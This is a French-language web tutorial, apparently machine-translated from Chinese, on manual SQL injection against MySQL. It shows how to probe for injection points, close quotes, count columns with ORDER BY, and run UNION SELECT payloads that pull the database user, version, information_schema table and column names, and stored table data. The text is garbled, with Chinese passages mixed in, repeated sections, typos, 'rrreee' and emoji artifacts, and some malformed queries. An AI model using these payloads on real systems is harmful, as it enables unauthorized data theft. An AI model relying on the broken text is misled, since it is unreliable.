Maison > Article > base de données > Parlons du simple processus d'injection SQL manuelle
Cet article vous aborde les problèmes liés à l'injection manuelle dans SQL, y compris les problèmes liés à la détermination du point d'injection et à la détermination du type d'injection. J'espère qu'il sera utile à tout le monde.
1. Méthode des guillemets simples : ajoutez un guillemet simple directement après l'URL. Si la page ne peut pas s'afficher normalement et que le navigateur renvoie des informations d'exception, cela signifie que le lien peut avoir un SQL. vulnérabilité d'injection
2.1 =1 et 1=2 : Ajoutez et 1=1 au paramètre get après l'URL, l'affichage est normal, remplacez 1=1 par 1=2, l'affichage est anormal, indiquant qu'il y a une injection SQL dans la page Web.
1. Injection numérique : la valeur de la variable injectée n'a pas besoin d'être mise entre guillemets, comme
select * from user where id=$id;
2 Injection de caractères : la variable injectée sera entourée de guillemets, comme `.
select * from user where username='$username';`
Faites attention lors de l'injection. Fermez les guillemets.
3. Injection de recherche :
select * from user where username like '%$pass%';
Construisez l'instruction SQL comme
select * from user where username like '%$pass%' union select语句 '%%';
C'est-à-dire que la variable transférée est pass%' union select instruction '% pour former une fermeture.
Déterminez si la méthode de soumission du point d'injection est get, post ou cookie en capturant les paquets.
Utilisez l'instruction order by pour interroger le nombre de champs qu'il y a dans la base de données. Vous pouvez déterminer le nombre de champs de la base de données grâce à des tentatives constantes. Par exemple, lorsque vous saisissez oeder by 9, la page signale un. erreur et lors de la saisie de l'ordre par 8, la page L'affichage est normal, c'est à dire qu'il y a 8 champs dans la base de données.
Par exemple, l'instruction de requête est : select * from user which id='$id';
select * from user where id='$id';
可以构造下面的输入:(id = ') ' order by 3 '+--+
即查询语句为:select * from user where id='' order by 3 '--'
使用 union select 语句来查询当前使用用户 user() , 数据库database() ,数据库版本 version() ,服务器操作系统的@@version_compile_os等信息
version版本十分重要,如果版本在5.0以上,就可以使用information_schema库来轻易的查询想要的信息
构造语句:
select * from user where id='' union select user(),database(),version()+--+;
5.0 版本以上的mysql数据库自带的information_schema库中存储着数据库中所有的表名和列明信息。
下面我们就应该根据第五步查询的当前数据库的结果(如数据库为database_1)名下所有的表名tables的信息。Information_schema.tables
:记录着数据库中所有表名信息的表。
构造的查询语句如下:
Select * from user where id='' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database_1;--
查询的结果为:第五步查询的当前数据库中的表名信息。Information_schema.columns:
L'entrée suivante peut être construite : (id = ') ' order by 3 '+ --+<br> Autrement dit, l'instruction de requête est : <code>select * from user which id='' order by 3 '--'
Utilisez la requête union pour interroger la base de données actuelle, utilisateur et informations de version
Utiliser union L'instruction select est utilisée pour interroger l'utilisateur actuel user(), la base de données base de données(), la version de la base de données version(), @@version_compile_os et d'autres informations sur le système d'exploitation du serveur. très important. Si la version est supérieure à 5.0, vous pouvez utiliser la bibliothèque information_schema pour interroger facilement les informations souhaitées
Construisez l'instruction :Select * from user where id='' union selcet 1,group_concat(column_name),3 from information_schema.columns where table_name=table_1;--Interrogez les tables, colonnes et valeursdans la base de données actuelle La bibliothèque information_schema fourni avec la base de données MySQL version 5.0 ou supérieure stocke tous les noms de tables et les informations répertoriées dans la base de données. 🎜 Ensuite, nous devons vérifier les informations de toutes les tables nommées tables en fonction du résultat de la requête de base de données actuelle à l'étape 5 (par exemple, la base de données est database_1). 🎜
Information_schema.tables
: une table qui enregistre toutes les informations sur le nom de la table dans la base de données. 🎜 L'instruction de requête construite est la suivante : 🎜Selcet * from user where id='' union select 1,column_1,column_2 from tables;--🎜Le résultat de la requête est : les informations sur le nom de la table dans la base de données actuelle interrogées à la cinquième étape. 🎜
Information_schema.columns :
enregistre les informations de nom de colonne de toutes les tables de la base de données ; 🎜 Ensuite, vous devez interroger les informations de nom de colonne en fonction des informations de nom de table obtenues à partir de la requête ci-dessus (par exemple, le table est table_1). L'instruction de construction est la suivante : 🎜rrreee🎜Après avoir interrogé le nom de la colonne, vous pouvez directement trouver les informations stockées dans la table via une requête conjointe (par exemple, les noms de colonnes trouvés sont column_1, column_2). Construisez l'instruction 🎜rrreee🎜 pour interroger la désignation de base de données spécifiée Données de stockage de table 🎜🎜Apprentissage recommandé : 🎜Tutoriel vidéo MySQL🎜🎜Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!